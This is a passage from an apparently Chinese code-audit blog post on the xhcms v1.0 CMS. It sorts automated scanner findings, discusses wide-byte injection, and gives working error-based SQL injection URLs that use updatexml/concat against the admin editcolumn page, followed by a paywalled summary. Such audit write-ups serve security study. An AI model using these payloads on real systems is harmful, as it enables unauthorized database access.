首先,直接使用代码审计工具自动审计筛一下。
可以看到很多,大致分为SQL注入、任意文件读取、文件上传、变量覆盖,这里面应该有误报。

SQL注入
把SQL注入的筛一遍吧。都看看。
1、误报
/admin/files/adset.php
定位到这里,无非就是$ad1、$ad2、$ad3这三个参数,结合mysql_error()(返回上一个 MySQL 操作产生的文本错误信息),这里很可能有报错注入。但是$ad1、$ad2、$ad3被addslashes()函数转义==没搞,除非数据库和PHP的编码设置不同,那就能试一下宽字节注入。后面的误报就不仔细说了。

2、GET传参未过滤
/admin/files/editoolumn.php,/admin/files/editlink.php,/admin/files/editsoft.php,/admin/files/editwz.php
注意找对地方。

直接报错注入。先找到位置,手注测一下。报错注入不了解可以看下报错注入,简单来说搞定报错函数和concat()函数即可。

xhcms_v1.0/admin/?r=editcolumn&type=2&id=1' #报错
xhcms_v1.0/admin/?r=editcolumn&type=2&id=1' and 1=1 -- a #没报错,正常页面
xhcms_v1.0/admin/?r=editcolumn&type=2&id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- a #报错显示~root@localhost~
确定存在SQL注入。接下来sqlmap

本文详细分析了代码审计中发现的各种漏洞,包括SQL注入、任意文件读取、文件上传、变量覆盖等,并提供了误报识别和利用示例。还讨论了GET/POST传参未过滤、UPDATE注入、删除注入、XSS(反射型和存储型)以及逻辑漏洞(越权)等问题及其解决方法。
最低0.47元/天 解锁文章
823

被折叠的 条评论
为什么被折叠?



